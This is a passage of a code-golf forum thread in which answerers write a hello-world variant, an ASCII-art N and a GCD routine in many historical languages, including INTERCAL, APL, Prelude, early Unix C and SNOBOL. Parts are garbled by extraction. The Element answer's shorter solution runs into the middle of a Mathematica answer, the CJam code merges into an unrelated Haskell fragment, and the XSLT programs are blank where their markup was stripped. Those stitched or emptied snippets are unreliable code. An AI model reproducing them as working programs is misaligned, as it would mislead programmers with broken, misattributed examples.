m->m yes --variable retrieval. pops from main stack, pushes contents \n of the element with that name\nx? m->c --test. pops x and pushes 0 onto control stack if x is '0' or \n an empty string, else pushes 1\n><= m->c --comparison. pops two numbers off of stack and performs \n test, pushes 1 onto control stack if true and 0 if false\n' m->c --pops from main stack and pushes onto control stack\n\" c->m --pops from control stack and pushes onto main stack\n&| cc->c --AND/OR. pops two items from control stack, performs and/or \n respectively, and pushes result back onto control stack\n! c->c --NOT. pops a number off of control stack, pushes 1 if 0 or \n empty string, 0 otherwise\n[] c --FOR statement (view the top number number from control stack \n and eval those many times)\n{} c --WHILE (loop until top number on control stack is 0, also \n does not pop)\n# m-> --discard. pops from main stack and destroys\n( m->mm --pops from main stack, removes first character, pushes the \n remaining string onto stack, and pushes the removed character \n onto stack\n) m->mm --pops from main stack, removes last character, pushes the \n remaining string onto stack, and pushes the removed character \n onto stack\n+-*/%^ mm->m --arithmetic. pops two most recent items, adds/negates\n /multiplies/divides/modulates/exponentiates them, and places \n the result on the stack \nxy@ mm->o --move. pops x and y and moves xth thing in stack to move to \n place y in stack\nx$ m->m --length. pops x and pushs length of x onto the stack\nxy: mm->o --duplication. pops x and y and pushes x onto the stack y times\nxy. mm->m --concatination. pops x and y and pushes x concatonated with y\n\\ o --escapes out of next character, so it isn't an operator and can\n be pushed onto the stack\n, m->mm --character conversion. pops from main stack, coverts it to char\n and pushes, and converts to num and pushes\nNewlines and spaces separate different elements to be pushed \nonto the stack individually, but can pushed onto the stack using \\\n```\n## Task 1 - Print Text\n```\nElement\\ was\\ made\\ in\\ 2012\\!`\n```\nOne of the more awkward parts of the language is the lack of string delimiters, which is why escape characters are needed in this string. The ``` at the end prints the string.\n## Task 2 - ASCII Art N\n```\n_+'[y~1+y;0[1+4:\"2:'=1=|y~=|\\ [#N]`\"#]\\\n`]\n```\nHere, you will witness some stack manipulation. To make the explanation a little easier to format, I'll replace the newline with an `L` and the space with an `S`.\n```\n_+'[y~1+y;0[1+4:\"2:'=1=|y~=|\\S[#N]`\"#]\\L`]\n_+' input line, convert to #, move to c-stack\n[ FOR loop\n y~1+y; increment the y-pos\n 0 set the x-pos (the top # on the stack) to zero\n [ FOR loop\n 1+4: increment x-pos and make 3 additional copies (4 is total #)\n \"2:' make a copy of the N size on the main stack\n = if x-pos == size\n 1= or if x-pos == 1\n y~=| of if x-pos == y-pos\n \\S (always) push a space\n [ the IF body (technically a FOR loop)\n #N if true, remove the space and push an N\n ] end IF\n ` output the pushed character\n \"# remove the result of the conditional\n ] end x-pos FOR\n \\L` output a newline\n] end y-pos FOR\n```\nAfter doing some extreme golfing of this answer, I found a 39 byte solution, although it is much more complicated.\n```\n_'1[y~+y;[#1+3:\"2:'%2 \"N\", {n, n}, \" \"]\n```\nJust like [Julia](https://codegolf.stackexchange.com/questions/48476/programming-languages-through-the-years/48491#48491) and [R](https://codegolf.stackexchange.com/questions/48476/programming-languages-through-the-years/48845#48845), this is a matrix solution. In Mathematica, you can define a sparse matrix using pattern matching.\nHowever, `SparseArray` was introduced in Mathematica 5.0, so we can't use it in Mathematica 1.0.\nHere is a solution that works in Mathematica 1.0:\n```\nasciiArtN[n_] := Block[{f},\n f[i_, 1] = \"N\";\n f[i_, i_] = \"N\";\n f[i_, n] = \"N\";\n f[__] = \" \";\n Apply[Print, Array[f, {n, n}], 1];\n]\n```\nWe can't write `f[i_, 1 | i_ | n] = \"N\"` because `Alternatives` was introduced in Mathematica 2.0.\n## Task 3\nWe can just use the built-in function:\n```\ngcd = GCD\n```\nOr we can use the definition of the GCD:\n```\ngcd = Max[Intersection @@ Divisors[{##}]] &;\n```\nOr we can use the [LCM](https://en.wikipedia.org/wiki/Least_common_multiple), though more commonly LCM is computed from GCD:\n```\ngcd = Times[##]/LCM[##] &;\n```\nOr we can use the Euclidean algorithm with pattern matching:\n```\ngcd[a_, 0] := a\ngcd[a_, b_] := gcd[b, Mod[a, b]]\n```\nOr as an anonymous function:\n```\ngcd = If[#2 == 0, #1, #0[#2, Mod[##]]] &;\n```\nAll the functions above were introduced in Mathematica 1.0. \n[Answer]\n# 1972 - [INTERCAL](http://catb.org/esr/intercal/)\nAnd you thought Fortran and Cobol were weird. This is insane!\n## Task 1\n```\nDO ,1 <- #27\nDO ,1SUB#1 <- #110\nDO ,1SUB#2 <- #32\nDO ,1SUB#3 <- #72\nPLEASE DO ,1SUB#4 <- #136\nDO ,1SUB#5 <- #88\nDO ,1SUB#6 <- #136\nPLEASE DO ,1SUB#7 <- #64\nDO ,1SUB#8 <- #80\nDO ,1SUB#9 <- #46\nPLEASE DO ,1SUB#10 <- #22\nDO ,1SUB#11 <- #104\nDO ,1SUB#12 <- #184\nPLEASE DO ,1SUB#13 <- #202\nDO ,1SUB#14 <- #78\nDO ,1SUB#15 <- #48\nPLEASE DO ,1SUB#16 <- #96\nDO ,1SUB#17 <- #128\nDO ,1SUB#18 <- #162\nPLEASE DO ,1SUB#19 <- #110\nDO ,1SUB#20 <- #32\nDO ,1SUB#21 <- #114\nPLEASE DO ,1SUB#22 <- #120\nDO ,1SUB#23 <- #240\nDO ,1SUB#24 <- #128\nPLEASE DO ,1SUB#25 <- #208\nDO ,1SUB#26 <- #200\nDO ,1SUB#27 <- #52\nDO READ OUT ,1\nDO GIVE UP\n```\nI'm not going to try to explain INTERCAL's system of input and output; just read [this](http://divingintointercal.blogspot.com/2007/03/part-dalawa-still-trying-to-write-hello.html) and hope you don't die.\n## Task 2\n```\nDO WRITE IN 7\nDO .1 <- .7\nDO .2 <- #1\nPLEASE DO (1010) NEXT\nDO .8 <- .3\nDO .5 <- .7\nDO .6 <- .8\nDO ,9 <- #2\nDO (100) NEXT\nDO (1) NEXT\n(100) DO (99) NEXT\nDO ,9SUB#1 <- #142\nDO ,9SUB#2 <- #114\nPLEASE DO READ OUT ,9\nDO ,9SUB#1 <- #176\nDO ,9SUB#2 <- #80\nPLEASE DO READ OUT ,9\nPLEASE GIVE UP\n(99) DO .1 <- .7\nDO .2 <- #1\nPLEASE DO (1010) NEXT\nDO .1 <- '.3~.3'~#1\nPLEASE DO FORGET .1\nDO RESUME #1\n(1) PLEASE DO (3) NEXT\nPLEASE DO FORGET #1\nDO (1) NEXT\n(3) DO (4) NEXT\nPLEASE GIVE UP\n(4) DO (8) NEXT\nDO ,9SUB#1 <- #176\nDO ,9SUB#2 <- #80\nPLEASE DO READ OUT ,9\nDO .6 <- .8\nDO .1 <- .5\nDO .2 <- #1\nDO (1010) NEXT\nDO .5 <- .3\nDO .1 <- '.5~.5'~#1\nPLEASE DO FORGET .1\nDO RESUME #1\n(8) DO (5) NEXT\n(5) PLEASE DO (6) NEXT\nPLEASE DO FORGET #1\nDO (5) NEXT\n(6) PLEASE DO (7) NEXT\nDO RESUME #2\n(7) DO (10) NEXT\nDO .1 <- .6\nDO .2 <- #1\nPLEASE DO (1010) NEXT\nDO .6 <- .3\nDO .1 <- '.6~.6'~#1\nPLEASE DO FORGET .1\nDO RESUME #1\n(10) DO (11) NEXT\nDO (13) NEXT\nDO (14) NEXT\nDO (15) NEXT\n(11) DO (111) NEXT\nDO (112) NEXT\n(13) DO (113) NEXT\nDO (112) NEXT\n(14) DO (114) NEXT\nDO (112) NEXT\n(111) DO .1 <- .6\nDO .2 <- .8\nDO (1010) NEXT\nDO .1 <- '.3~.3'~#1\nPLEASE DO FORGET .1\nDO RESUME #1\n(112) DO ,9SUB#1 <- #142\nDO ,9SUB#2 <- #114\nPLEASE DO READ OUT ,9\nDO RESUME #3\n(113) DO .1 <- .6\nDO .2 <- #1\nDO (1000) NEXT\nDO .1 <- .5\nDO .2 <- .3\nDO (1010) NEXT\nDO .1 <- '.3~.3'~#1\nPLEASE DO FORGET .1\nDO RESUME #1\n(114) DO .1 <- '.6~.6'~#1\nPLEASE DO FORGET .1\nDO RESUME #1\n(15) DO ,9SUB#1 <- #252\nDO ,9SUB#2 <- #4\nPLEASE DO READ OUT ,9\nDO RESUME #2\n```\n*Goodness gracious.* This took me a bit to figure out. The label numbers are a mess and therefore reflect that. I'm not going to try to explain this unless someone asks.\n## Task 3\n```\nDO WRITE IN .5\nDO WRITE IN .6\nDO (1) NEXT\n(1) PLEASE DO (3) NEXT\nDO FORGET #1\nDO (1) NEXT\n(3) DO (4) NEXT\nDO READ OUT .5\nPLEASE GIVE UP\n(4) DO .1 <- .5\nDO .2 <- .6\nPLEASE DO (1040) NEXT\nDO .1 <- .3\nDO .2 <- .6\nPLEASE DO (1039) NEXT\nDO .2 <- .3\nDO .1 <- .5\nDO (1010) NEXT\nDO .5 <- .6\nDO .6 <- .3\nDO .1 <- '.6~.6'~#1\nPLEASE DO FORGET .1\nDO RESUME #1\n```\nThis one's a tad simpler. Because of INTERCAL's...weirdness, you have to enter the numbers like this:\n```\nTHREE FIVE\n```\nFor instance, to get the GCD of 42 and 16, I'd enter:\n```\nFOUR TWO\nONE SIX\n```\nIt also prints the number in Roman numerals...because that's INTERCAL for you!\n[Answer]\n# 1999 - [XSLT](https://en.wikipedia.org/wiki/XSLT)\nThe [World Wide Web Consortium](http://www.w3.org/) (W3C) created XSLT for transforming XML into HTML, text, etc. The following examples assume input is enclosed in `..` tags.\n## Task 1\n```\n\n\n \n XSLT was made in 1999!\n\n```\nThis one is simple. It matches an `input` tag at the top level and replaces it with the desired output.\n## Task 2\n```\n\n\n \n \n \n 1\n \n \n \n \n \n \n \n \n \n \n N\n \n \n \n \n \n N&#13;&#10;\n \n \n N\n \n \n \n \n \n N\n \n \n \n \n \n N&#13;&#10;\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n```\nThis one defines 2 recursive templates, `loop` and `spaces`. `loop` with parameters `i` and `n` will generate the desired output for `n`, starting at position `i`. `spaces` with parameter `n` will generate `n` spaces.\n## Task 3\nInput for this must be in `....` tags.\n```\n\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n```\nThis one is just a recursive template `gcd` that uses the Euclidean algorithm.\n[Answer]\n# 2014 - CJam\n[CJam](http://sourceforge.net/projects/cjam/) was created by PPCG user [aditsu](https://codegolf.stackexchange.com/users/7416/aditsu) and was released [around April 2014](http://sourceforge.net/projects/cjam/files/?source=navbar).\n## \"Hello, World!\" Variant\n```\n\"CJam was made in 2014!\"\n```\nCJam automatically prints the contents of the stack at the end of the program\n## ASCII Art N\n```\nri:R'#*a_R2-,{_)S*'#+\\R((-zS*+}%+\\+R [a] -> [a]\nins x (l:ls) = l:x:ls\n```\nDemo, print the whole infinite list (until user aborts, or the world ends...)\n```\nGHCi> mapM_ (putStrLn . unlines) bigNs\nN\nNN\nNN\nN N\nNNN\nN N\nN N\nNN N\nN NN\nN N\nN N\nNN N\nN N N\nN NN\nN N\nN N\nNN N\nN N N\nN N N\nN NN\nN N\n...\n```\nOf course, you can easily get to a single one of these, by accessing only one element of the infinite list:\n```\nmain :: IO ()\nmain = do\n i <- readLn\n putStrLn . unlines $ bigNs!!i\n```\n## Task 3\n```\ngcd' :: Integer -> Integer -> Integer\ngcd' a 0 = a\ngcd' a b = gcd' b $ a`mod`b\n```\n[Answer]\n# 1967 - APL\nIn 1957, at Harvard University, Ken Iverson started developing a \nmathematical notation for array manipulation. During the 1960s,\nhis notation was developed into a programming language at IBM.\nThe first partial implementation was created in 1963, and it\nwas even used in a high school to teach students about transcendental\nfunctions. A full, usable implementation had to wait until\n1965. For two years it was only used internally by IBM. In 1967,\nIBM released to the public an APL interpreter that ran on\nthe IBM 1130 computer, which had been finished in 1966. You can understand how it's a bit hard to choose a year for it, however, I think it should be 1967, as this is the first year a full implementation was made available to the public. If anyone really disagrees, I could change it. \nThe source code for APL\\360, is\n[online](http://www.computerhistory.org/atchm/the-apl-programming-language-source-code), \nas is an emulator. This is what I have used to test these examples.\nIt dates from 1967, and along with APL\\1130 (for the aforementioned\nIBM 1130) it is more or less the true original. As expected, it is very\nprimitive. It lacks support for such niceties as lowercase letters,\nany operators *only* work with builtin functions, and the set of builtin\nfunctions is very sparse (in particular, `∨` is *only* `or`, and does\n*not* double as `gcd`). The original, full description is available\n[here](http://www.jsoftware.com/papers/APL360TerminalSystem.htm),\nhowever, I noticed that the version I had is not even complete with respect to that document, lacking `⍎` among others.\nI have provided the programs both in Unicode format\n(so you can read them), and in the original encoding\n(so you can cut and paste them into the emulator's APL window).\nUnbelievably, these programs run correctly without any changes\n(except for the encoding) \n in modern\nversions of Dyalog, NARS2000, and GNU APL. So I guess I've found the way to write portable APL: just pretend it's 1967!\n### Task 1:\nUnicode:\n```\n⎕←'APL WAS MADE IN 1967!'\n```\nAPL\\360:\n```\nL[Kapl was made in 1967ÝK\n```\n### Task 2:\nUnicode:\n```\n⎕←' N'[1+((2⍴N)⍴(⍳N)∊1,N)∨(⍳N)∘.=⍳N←⎕]\n```\nAPL\\360:\n```\nL[K nK;1-::2Rn\"R:In\"E1,n\"(:In\"J.%In[L'\n```\n### Task 3:\nI have solved this the standard recursive way. In theory, you could do something clever and array-oriented, like the J answer; in practice, however, that has O(N) memory usage and quickly overwhelms Flower-Power-era hard- and software.\nUnicode:\n```\n∇R←A GCD B\nR←A\n→(B=0)/0\nR←B GCD B|A\n∇\n⎕←⎕ GCD ⎕\n```\nAPL\\360:\n```\nGr[a gcd b\nr[a\n{:b%0\"/0\nr[b gcd bMa\nG\nL[L gcd L\n```\n[Answer]\n# 2005 - [Prelude](http://esolangs.org/wiki/Prelude)\nPrelude is a very fun language, whose source code consists of several \"voices\" which are executed in parallel and which [I *really* enjoy solving problems in](https://codegolf.stackexchange.com/a/47112/8478). It is meant to be the ASCII representation of its sister language [Fugue](http://esolangs.org/wiki/Fugue), which actually takes .midi files as its source code and encodes the instructions found in Prelude as intervals in the melodies of the voices.\nPrelude is fairly minimalistic, yet Turing complete (provided you are using at least 2 voices). As I said, the voices (lines of code) are executed simultaneously, column by column. Each voice operates on its own stack, which is initialised to an infinite number of zeroes. Prelude supports the following instructions:\n```\n0-9 ... Push the corresponding digit.\n+ ... Add the top two numbers on the stack.\n- ... Subtract the top number from the one beneath.\n# ... Discard the top of the stack.\n^ ... Copy the top value from the voice above.\nv ... Copy the top value from the voice below.\n? ... Read a number and push it onto the stack.\n! ... Print the top number (and pop it from the stack).\n( ... If the top of the stack is zero, jump past the matching ')'.\n) ... If the top of the stack is zero, jump to the column after the matching '('.\n```\nSome additional notes:\n* The voices are cyclic, so `^` on the top voice copies from the bottom voice (and vice versa).\n* Multiple `?` and `!` in the same column are executed top to bottom.\n* As per [the language specification](http://web.archive.org/web/20060504072859/http://z3.ca/%7Elament/prelude.txt), `?` and `!` read and write characters with the corresponding character code. However, [the Python interpreter](http://web.archive.org/web/20060504072747/http://z3.ca/%7Elament/prelude.py) also has a switch in its code to print the numbers themselves instead. For testing purposes I am actually using [a modified version](https://gist.github.com/mbuettner/5f5688758c7171a6675c) which can also *read* numbers instead of characters. But [consensus around here is](https://codegolf.meta.stackexchange.com/a/4719/8478) that numerical input/output can actually be given as byte values, hence these modifications are not necessary to make valid programs dealing with numbers.\n* Matching `(` and `)` do not need to be on the same voice. The voice used for the condition is *always* the one where the `(` appears. Hence, the vertical position of the `)` is completely irrelevant.\n* Due to the nature of Prelude's simultaneous execution, any instruction in the same column as a `(` is executed only once before the loop starts, and regardless of whether the loop is entered. Similarly, any instruction in the same column as a `)` is executed at the end of each iteration, regardless of whether the loop will be exited after this iteration.\nI'll first show you the three programs without much commenting. You can find extensive explanations below.\n## The Programs\n### \"Hello, World!\" Variant\n```\n9(1-)v98+^++!9v+! v88++2+!^ ! ^9-3-! v ! v2-!55+!\n8 8+ ! 7v+! 1v+!88+^+!^4-!^ v8-^ !!!9v+ !^9+9+! v5+!\n ^98++4+! ^8-! ^4- ^ #!^6-! ^^ #5+! v ^2-!1+!\n```\nIf you are using the Python interpreter, make sure that `NUMERIC_OUTPUT = False`.\n### ASCII Art N\n```\n v2-(1-)v \n9(1-)?1-( v! (1-55+! 0 (0)# ))55+!\n4-4+ v^-#\n v! v! v1-v!(1- ^(#^!0)# v! )v!\n6 8+ v#\n```\nFor ease of use, this program benefits from reading input as numbers, but output must not be numeric. So if you are using the modified Python interpreter, set\n```\nNUMERIC_INPUT = True\nNUMERIC_OUTPUT = False\n```\n### GCD\n```\n?( v)\n? (^-(0 # v # ^+0)#^ !\n ^^ (##v^v+)# 0 (0 ) \n 1) ^ # - 1+(#)#\n```\nThis is best used with all numeric input/output i.e.\n```\nNUMERIC_INPUT = True\nNUMERIC_OUTPUT = True\n```\n## Explanations\n### \"Hello, World!\" Variant\nThis is *fairly* straight-forward. I'm using 3 voices to successively generate the character codes for all the characters in `Prelude was made in 2005!`. I start by computing `8 + 9*8 = 80`, which is the character code of `P`:\n```\n 9(1-)\n 8 8+\n```\nAfter that I mostly just copy the previous character code and add or subtract the difference to the next one. Here is the code, but with each `!` replaced with the character that is being printed (and `_` for spaces and `%` for the digits):\n```\n9(1-)v98+^++r9v+u v88++2+w^ _ ^9-3-a v _ v2-%55+!\n8 8+ P 7v+l 1v+e88+^+_^4-s^ v8-^ de_9v+ n^9+9+% v5+%\n ^98++4+e ^8-d ^4- ^ #a^6-m ^^ #5+i v ^2-%1+!\n```\nThe final `55+!` prints a trailing newline, just because it's nicer.\nAs a side note, the number of voices is pretty arbitrary for this task, but 3 is fairly convenient because it's the largest number in which every voice can directly access each other voice.\n### ASCII Art N\n```\n v2-(1-)v \n9(1-)?1-( v! (1-55+! 0 (0)# ))55+!\n4-4+ v^-#\n v! v! v1-v!(1- ^(#^!0)# v! )v!\n6 8+ v#\n```\nWith 5 voices, this is definitely one of the most complex programs I've written so far. The voices roughly have the following purposes:\n1. Merely a helper voice which stores `N-1` for use in the inner loop.\n2. This is sort of the \"main\" voice, which reads input, contains an important switch and also contains the outer loop (i.e. the one over the rows).\n3. This stores a `32` to conveniently print spaces.\n4. This contains the inner loop (the one over the columns).\n5. This stores a `78` to conveniently print `N`s.\nLet's go through the code part by part. First, I'm creating the `32` as `-4 + 9*4` and the `78` as `6 + 9*8`:\n```\n9(1-)\n4-4+\n6 8+\n```\nNow I'm printing a single `N` (because we always need one) while reading the input `N` and storing `N-1` and `N-2` in the first two voices:\n```\n v2-\n ?1-\n v!\n```\nNext, there is a \"loop\" conditioned on `N-1`. At the end of the loop, the second voice is always reduced to `0`, and the loop exits after the first iteration. So essentially, this only `if(N > 1){...}`. After the loop we print a single trailing newline. To recap, we've now got the following framework:\n```\n v2-\n9(1-)?1-( )55+!\n4-4+\n v!\n6 8+\n```\nInside this conditional, we first `N-2` spaces and a single `N` to complete the first row, and we also store `N-1` on the first voice for future use:\n```\n (1-)v \n v! \n v!\n```\nNow the real meat of the code. First, there is an outer loop, which prints `N-1` rows. For each row, we *first* print a newline, and an `N`. Then we loop `N-2` times, printing either spaces or `N`s (more on that later). And finally we print another `N`:\n```\n 1-55+! \n v1-v!( )v!\n v#\n```\nFinally, the fun part: printing each row (and getting the position of the `N` right). There is not really an if/else in Prelude, so I have to build it myself using two loops on different voices. The condition can easily be obtained by subtracting the inner and outer loop variable - we get `0` if we want to print `N` and something non-zero if we want to print a space.\nThe basic idea of an if/else in Prelude is to put a loop after the relevant value - the \"if\" (or non-zero) code, and exit it immediately by pushing a `0`. On another voice, you keep a non-zero value, and another loop *after* the \"if\" loop. *During* the \"if\" loop you put a zero on top of that other voice, so as to prevent the \"else\" from being executed. There is some flexibility in whether you push zero values on top of non-zero values or simply discard the non-zero value if there's a zero beneath, but this is the general idea. You might also have to do some cleanup afterwards, if you want to keep using the relevant voice. This is what the code looks like:\n```\n 0 (0)#\n v^-#\n 1- ^(#^!0)# v! \n```\nAnd that's it!\n### GCD\nThis is \"just\" an iterative implementation of the Euclidean algorithm. But modulo in Prelude is a bit annoying, mostly because you can't easily check if a number is positive or negative. This code makes use of a *signum* implementation [I wrote a while ago](https://codegolf.stackexchange.com/q/44415/8478). I.e. a large part of the code just turns a number into `-1`, `0` or `1`. This can then easily be turned into a condition for positive or negative numbers by adding or subtracting `1`.\n```\n?( v)\n? (^-(0 # v # ^+0)#^ !\n ^^ (##v^v+)# 0 (0 ) \n 1) ^ # - 1+(#)#\n```\nSo we've got four voices this time. The first voice simply keeps track of `b` and contains the main termination condition (i.e. the loop exits when `b` becomes `0`). The second voice contains `a` and with the help of voices three and four computes `a % b`, before swapping the result with the previous `b`. Finally, the `!` prints `a` when `b == 0`.\nLet's look at the *signum* part first:\n```\n (0 # v #\n ^^ (##v^v+)#\n 1) ^ # -\n```\nThe input number `n` is found on the first of those voices (the second voice in the full program). The result will end up on the bottom voice. The other two voices are expected to be empty (i.e. filled with zeroes). Notice that, if `n == 0`, then both loops are skipped and the bottom voice still contains `0`, just what we want.\nIf `n` is non-zero, the first small loop is entered. We push a zero to exit it immediately, put two copies of `n` onto the middle voice and a `1` onto the bottom voice. Now the basic idea is to increment one of the copies of `n` while decrementing the other copy of `n` until one of them hits zero. While doing so, the `1` on the bottom voice flips its sign all the time (which is easily done by subtracting it from `0` beneath it on the stack). This is set up such that *when* one of the numbers hits zero, the bottom voice will contain the correct sign.\nNow modulo is implemented by subtracting `b` from `a` until the result is negative. When that happens, we add one `b` again. That's this bit:\n```\n (^- signum ^+0)#\n signum 0 (0 ) \n signum 1+(#)#\n```\nNotice the if/else construction at the bottom, which is similar to the one I used for Task 2.\n[Answer]\n# 1996 - [Ocaml](http://en.wikipedia.org/wiki/OCaml)\nWas waiting more than day to someone fill 1996, so I could fill in Ruby. Well why not learn OCaml then, seems similar to haskell...\n# Hello world\n```\nprint_endline \"OCaml was made in 1996!\";;\n```\n# ASCII\n```\nlet ascii n =\n let rec ascii' = function\n | 0 -> ()\n | i ->\n let s = \"N\" ^ String.make (n-2) ' ' ^ \"N\" in\n String.fill s (n-i) 1 'N';\n print_endline s;\n ascii' (i-1)\n in ascii' n;;\n```\nMutable strings!\n# GCD\n```\nlet rec gcd a b = if b = 0 then a else gcd b (a mod b);;\n```\nNo `==` and infix `mod`, that's cute\n[Answer]\n# 2007 - Scratch\n[Scratch](https://scratch.mit.edu/) is a language made by MIT for educational purposes. I've been very involved with it for 5 years; more on that later.\nAll of these can be viewed [here](https://scratch.mit.edu/projects/56652112/).\nI'm very rushed right now and will explain the snippets later. Hopefully they're prety self-explanatory though.\n## Task 1\n![enter image description here](https://i.stack.imgur.com/YATAa.png)\n## Task 2\n![enter image description here](https://i.stack.imgur.com/Jkiuj.png)\n## Task 3\n![enter image description here](https://i.stack.imgur.com/sPBGU.png)\n[Answer]\n# 1972 - C\nWe all know about C, don't we? C was created at Bell Labs, along with\nUnix. Unix was largely written in C. All modern Unix derivatives are\nstill largely written in C. C's syntax has influenced many, many\nprogramming languages. It is probably the oldest programming language\nthat is still in widespread use for new development.\nC itself is a descendant of B, which I hope will end up in this list\nas well. There was no 'A' programming language: B is a variant of\nBCPL, which in turn is a stripped down CPL. None of these languages were\never very popular. However, BCPL was the language in which the first\n\"Hello World\" program was written. Another interesting fact is that\nB had both `/* */` and `//` comments, but C dropped the `//` comments.\nThey were later reintroduced into C with the C99 standard.\nThe C programs here were tested with the Unix V5 C compiler, from\n1974. This was the oldest C compiler I could find and get to work, and these programs\nwill not compile on a modern C compiler. (One of the changes made is\nthat mutation operators like `+=` used to be written `=+`.)\n`#include <`...`>` did not exist yet. Neither did much of the standard library.\nI had to write my own `atoi`. I went through some of the V5 source code\nto figure out which things were allowed and which were not. The version I\nused was the first to include `struct`s, but since I did not use those,\nand the syntax doesn't seem to have changed a lot until V7 (as K&R C),\nthis might work with earlier versions as well.\nI have done my best to write my code in the same style as the V5\nsource code uses. (Not that that is terribly consistent, though.)\nLook [here](http://farid.hajji.name/blog/2014/05/05/unix-v5-on-pdp11-using-simh/)\nfor links to Unix V5, an emulator, and instructions on getting it running\non a modern computer.\n### Task 1\n```\nmain()\n{\n write(1, \"C was made in 1972!\\n\", 20);\n}\n```\n### Task 2\n```\natoi(str)\nchar *str;\n{\n register num, digit;\n while (digit = *str++) {\n num =* 10;\n num =+ digit - '0';\n }\n return num;\n}\nN(n)\n{\n register x, y;\n for (y=1; y<=n; y++) {\n for (x=1; x<=n; x++) {\n write(1, \" N\"+(x==1||x==y||x==n), 1);\n }\n write(1, \"\\n\", 1);\n }\n}\nmain(argc, argv)\nchar *argv[];\n{\n N(atoi(argv[1]));\n}\n```\n### Task 3\n```\natoi(str)\nchar *str;\n{\n register num, digit;\n while (digit = *str++) {\n num =* 10;\n num =+ digit - '0';\n }\n return num;\n}\ngcd(a, b)\n{\n return b ? gcd(b, a%b) : a;\n}\nmain(argc, argv)\nchar *argv[];\n{\n printf(\"%d\\n\", gcd(atoi(argv[1]), atoi(argv[2])));\n}\n```\n[Answer]\n# 2009 - [Idris](http://www.idris-lang.org/)\nIdris is a dependantly-typed, pure functional language that emphasises being in fact practically usable for real-world applications, apart from offering the extremely rigorous proof possibilities that are achievable with dependant types.\n## Task 1\n```\nmodule Main\nmain : IO ()\nmain = putStrLn \"Idris was made in 2009!\"\n```\n## Task 2\n```\nmodule InN\nimport Data.Fin\nimport Data.Vect\ngenN : Vect n (Vect n Char)\ngenN = [[ if inN x y then 'N' else ' ' | x<-range ]| y<-range ]\n||| Helper function, determines whether the char at coordinate (x,y)\n||| is part of the letter:\ninN : Fin n -> Fin n -> Bool\ninN {n=S _} x y = x==0 || x==y || x==last\n```\nThis one is not a program but just a function (more precisely, *dependant value*), producing the desired letter N as a two-dimensional array.\n```\n$ idris ascii-n.idr \n ____ __ _ \n / _/___/ /____(_)____ \n / // __ / ___/ / ___/ Version 0.9.17.1-\n _/ // /_/ / / / (__ ) http://www.idris-lang.org/ \n /___/\\__,_/_/ /_/____/ Type :? for help \nIdris is free software with ABSOLUTELY NO WARRANTY. \nFor details type :warranty.\nType checking ./ascii-n.idr\n*ascii-n> genN {n=4}\n[['N', ' ', ' ', 'N'],\n ['N', 'N', ' ', 'N'],\n ['N', ' ', 'N', 'N'],\n ['N', ' ', ' ', 'N']] : Vect 4 (Vect 4 Char)\n```\n## Task 3\n```\nmodule gcd\ngcd' : Nat -> Nat -> Nat\ngcd' a Z = a\ngcd' a b = gcd' b $ a`mod`b\n```\nNote that I had to choose the name `gcd'` because as `gcd` it is already defined in the Idris prelude.\n```\nType checking ./gcd.idr\n*gcd> gcd' 8 12\n4 : Nat\n*gcd> gcd' 12 8\n4 : Nat\n*gcd> gcd' 234 876\n6 : Nat\n```\n[Answer]\n# 1962 - SNOBOL\nThe \"StriNg Oriented and symBOlic Language\". At first apparently called the Symbolic Expression Interpreter, 'SEXI', which then had to be changed to prevent the 1960-s era nerds from blushing when submitting their jobs. [True story.](http://www.listbox.com/member/archive/247/2008/12/sort/time_rev/page/1/entry/0:180/20081226091150:1B4F85B0-D357-11DD-ABF7-AB09AB975BFC/) \nThis was one of the first languages that could deal with strings and patterns natively. Indeed, the first version of SNOBOL had the string as its *only* datatype. Math was then done by parsing. The initial implementation was done on the IBM 7090. It seems to be long gone, at least, I couldn't find it. What I did find was [the original paper describing it](http://s000.tinyupload.com/index.php?file_id=39602638771518326328) as well as a [SNOBOL3 interpreter in Java, which can run on a modern computer](http://www.snobol4.org/dennis.heimbigner/s3/).\nThe first SNOBOL had pretty much *only* pattern matching and basic arithmetic. SNOBOL 3 then added functions and changed the I/O, but otherwise seems to have remained backwards compatible. SNOBOL 4 changed the syntax, and from there it developed into [Icon](https://codegolf.stackexchange.com/questions/48476/programming-languages-through-the-years/49088#49088), which keeps the pattern matching but almost looks like a \"normal\" programming language otherwise.\nThe programs I have written use only functionality described in the original paper, so should work with the original SNOBOL with the exception of the I/O, which I did in SNOBOL3 style so that the Java interpreter could run them. From the paper, it seems that the difference is that SNOBOL1 uses pattern matching with a special `SYS` variable, whereas SNOBOL3 uses input and output variables:\n* Input:\n\t+ 1 `SYS .READ *DATA*`\n\t+ 3 `DATA = SYSPPT`\n* Output:\n\t+ 1 `SYS .PRINT 'A STRING' AND VARIABLES`\n\t+ 3 `SYSPOT = 'A STRING' AND VARIABLES`\nMaking these substitutions should get you 'real' SNOBOL 1. Of course, then you can't run it. \n## Task 1\n```\nSTART SYSPOT = 'SNOBOL WAS MADE IN 1962!'\n```\n## Task 2\nThis shows math, string handling and flow control. SNOBOL3 has useful functions, like `EQ` to check equality; the original SNOBOL did not, so I haven't used them.\n```\n* READ N FROM INPUT\nSTART SYSPOT = 'SIZE?'\n SZ = SYSPPT\n* INITIALIZE\n CS = ''\n ROW = '0'\n* OUTPUT PREVIOUS ROW AND START NEXT ONE\nROW COL = '0'\n SYSPOT = CS\n CS = ''\nCOL SUCC = 'N'\n EQ1 = COL\n FAIL = 'CHKE'\n EQ2 = '0' /(EQUAL)\nCHKE FAIL = 'CHKR'\n EQ2 = SZ - '1' /(EQUAL)\nCHKR FAIL = 'SPACE'\n EQ2 = ROW /(EQUAL)\n* CONCATENATE THE RIGHT CHARACTER TO THE CURRENT LINE \nSPACE CS = CS ' ' /(NEXT)\nN CS = CS 'N' /(NEXT)\n* FOR NUMBERS, SUBSTRING MATCH IS ENOUGH IF IT IS KNOWN A<=B\nNEXT COL = COL + '1'\n COL SZ /F(COL)\n ROW = ROW + '1'\n ROW SZ /F(ROW)S(FIN)\n* THERE SEEMS TO BE NO EQUALITY CHECK, JUST SUBSTRING MATCHING\n* OF COURSE, EQ1 == EQ2 IFF EQ1 CONTAINS EQ2 AND VICE VERSA\n* THIS ALSO ILLUSTRATES INDIRECTION\nEQUAL EQ1 EQ2 /F($FAIL)\n EQ2 EQ1 /S($SUCC)F($FAIL)\n* OUTPUT THE LAST LINE\nFIN SYSPOT = CS \n```\n## Task 3\nFirst, the boring one. The only thing of note is the smaller-than check, showing exactly how string-oriented 